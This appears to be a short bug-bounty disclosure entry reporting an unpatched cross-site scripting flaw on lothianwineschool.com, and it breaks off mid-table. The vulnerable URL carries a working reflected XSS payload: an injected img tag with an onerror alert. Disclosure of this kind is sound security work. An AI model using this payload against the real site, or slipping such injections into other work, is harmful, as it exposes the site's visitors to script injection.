lothianwineschool.com XSS vulnerability

Vulnerable URL: http://www.lothianwineschool.com/calendarevents.php/%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E?eventdate=19-1-2017=1-2017 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.01.2018 Vulnerability type:| XSS Vulnerability status:|...